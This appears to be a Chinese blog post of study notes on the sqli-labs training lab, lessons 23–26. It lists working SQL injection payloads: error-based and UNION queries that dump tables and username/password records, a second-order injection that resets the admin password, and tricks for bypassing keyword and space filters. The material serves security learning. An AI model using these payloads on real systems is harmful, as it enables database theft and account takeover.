DAY 4

sqli-labs lesson 23

  • 与lesson 1一样,只不过屏蔽了#和–注释符。
  • 报错型注入:
    • 爆库:id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3
    • 爆表:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)),'3
    • 爆字段:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)),'3
    • 爆记录:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select concat_ws(’,’,username,password) from security.users limit n,1),0x7e)),'3
  • 联合查询
    • 爆库:?id=99’ UNION SELECT 1,database(),'3
    • 爆表:?id=99’ UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
    • 爆字段:?id=99’ UNION SELECT 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
    • 爆记录:?id=99’ UNION SELECT 1,(SELECT group_concat(concat_ws(’;’,username,password)) from security.users ),'3

sqli-labs lesson 24

  • 预备知识:什么是二次注入

    • 简单的说,就是在第一次注入时,注入的SQL语句被转义了,从而直接存储到了数据库中,因此,在第二次注入时,直接调用了原始内容进行操作,从而导致注入成功。
  • 注册admin’;#账号



  • 从修改密码的源代码可以看到这一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
  • 登陆admin’;#
  • 这时,我们修改密码,形成的SQL语句将是:
UPDATE users SET PASSWORD='$pass' where username='admin';#' and password='$curr_pass'

显然,我们把admin用户的密码给改了!

  • 尝试用新密码登陆admin账户:



    成功了!

sqli-labs lesson 25

  • 这里过滤了or和and,可以用||和&&(&是URL参数分隔符,需要编码使用)代替,但是也会有问题,单词中的or也被过滤了,查看源代码,发现只是把or和and进行了一次过滤,并且还是替换成了空字符,所以也很好办,比如information,只要写成infoorrmation就可以了。

sqli-labs lesson 25a

  • 与上一题一样,只是参数是数值型并且没有错误显示了,无法使用报错型注入而已。

sqli-labs lesson 26

  • 过滤加强了!
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
  • 最麻烦的就是空格的过滤了,如果服务器是Linux的,可以使用%a0特殊字符代替,否则,可以使用括号来绕过
  • 直接报错型注入
  • 爆库:?id=99’||extractvalue(1,concat(0x7e,(database()),0x7e))||'3
  • 爆表:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),0x7e))||'1
  • 爆字段:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’%26%26table_schema=‘security’)),0x7e))||'1
  • 爆记录:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(";",username,passwoorrd)))from(security.users)),0x7e))||'1
  • 由于报错型注入返回的长度有限制,而limit的参数无法用括号包围,可以使用where限制语句直接找出admin的记录,也可以使用mid函数来截取。

sqli-labs学习笔记 DAY4的更多相关文章

  1. OpenCV图像处理学习笔记-Day4(完结)

    OpenCV图像处理学习笔记-Day4(完结) 第41课:使用OpenCV统计直方图 第42课:绘制OpenCV统计直方图 pass 第43课:使用掩膜的直方图 第44课:掩膜原理及演示 第45课:直 ...

  2. HTML学习笔记Day4

    一.浮动属性 1.首先要知道,div是块级元素,在页面中独占一行,自上而下排列,也就是传说中的流: 无论多么复杂的布局,其基本出发点均是:“如何在一行显示多个div元素”: 显然标准流已经无法满足需求 ...

  3. Python学习笔记 - day4 - 流程控制

    Python流程控制 Python中的流程控制主要包含两部分:条件判断和循环. Python的缩进和语法 为什么要在这里说缩进和语法,是因为将要学习的条件判断和分支将会涉及到多行代码,在java.c等 ...

  4. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  5. Python学习笔记——Day4

    字符串操作 string典型的内置方法: count() center() startswith() find() format() lower() upper() strip() replace() ...

  6. python学习笔记-Day4(2)

    正则表达式 语法: import re #导入模块名 p = re.compile("^[0-9]") #生成要匹配的正则对象 , ^代表从开头匹配,[0-9]代表匹配0至9的任意 ...

  7. python学习笔记-day4笔记 常用内置函数与装饰器

    1.常用的python函数 abs             求绝对值 all               判断迭代器中所有的数据是否为真或者可迭代数据为空,返回真,否则返回假 any          ...

  8. python 网络爬虫与信息提取 学习笔记day4

    正则表达式简介: 简洁表示一组字符串的特征或者模式,在文本处理中十分常用,主要应用于字符串匹配中 1.  通用的字符串表达框架 2.  简洁表达一组字符串的表达式 3.  针对字符串表达简洁和特征思想 ...

  9. JS学习笔记Day4

    一.什么是函数 将反复使用的功能代码,封装成一独立的模块,这个模块叫做函数 二.封装函数的好处 1.一次封装,多次使用 2.使程序可控 三.函数的分类:内置()函数和自定义函数 四.函数的数据类型(f ...

  10. python学习笔记-Day4(1)

    迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退.另外,迭代器的一大优点是 ...

随机推荐

  1. ASP.NET Core读取appsettings.json配置文件信息

    1.在配置文件appsettings.json里新增AppSettings节点 { "Logging": { "LogLevel": { "Defau ...

  2. c++ 堆和栈以及区别

    c++中内存分成5个区:堆.栈.自由存储区.全局\静态存储区.常量存储区 栈是一种连续存储的数据结构,具有先进后出的性质.堆是一种非连续的树形存储数据结构,每个节点有一个值,整棵树是经过排序的,特点是 ...

  3. 解析Array.prototype.slice.call(arguments)

    在es5标准中,我们经常需要把arguments对象转换成真正的数组 // 你可以这样写 var arr = Array.prototype.slice.call(arguments) // 你还可以 ...

  4. 记录一下mac上码云的使用

    项目比较多的时候用第三方的托管平台管理自己的代码还是挺不错的,记录一下码云的基本使用 分两部分进行说明: 一 :怎么上传自己本地的代码到码云.(方式,通过终端输入命令行) 具体的步骤: 1 :首先得在 ...

  5. Spring源码分析(二十)准备环境

    摘要: 本文结合<Spring源码深度解析>来分析Spring 5.0.6版本的源代码.若有描述错误之处,欢迎指正. prepareRefresh函数主要是做些准备工作,例如对系统属性及环 ...

  6. Spring的简单应用与基本原理

    一:重要概念理解 Spring很简单,一定不要想得太复杂,只是有些东西很拗口而已 1:IOC(控制反转) 概念:利用反射的原理将对象创建的权利交给了Spring,Spring在运行的时候根据配置文件( ...

  7. java常用API之Date类

    Date类: 类 Date 表示特定的瞬间,精确到毫秒. 毫秒概念:1000毫秒=1秒 毫秒的0点: System.currentTimeMillis()  返回值long类型参数   用于获取当前日 ...

  8. Vue.js下载方式及基本概念

    Vue.js 简介 说明及下载 Vue.js使用文档已经写的很完备和详细了,通过以下地址可以查看: https://cn.vuejs.org/v2/guide/ vue.js如果当成一个库来使用,可以 ...

  9. PHPCMS v9 手机端栏目绑定模板

    phpcms的手机端,模块是有了,但是有些地方用的还不是很舒服,其中移动端栏目无法绑定模板就不是很方便.如图,所有的栏目绑定的模板是固定的. 这次咱们就来处理下,移动端如何设置相应的模板.这里说是设置 ...

  10. 详解 Python3 正则表达式(五)

    上一篇:详解 Python3 正则表达式(四) 本文翻译自:https://docs.python.org/3.4/howto/regex.html 博主对此做了一些注明和修改 ^_^ 非捕获组和命名 ...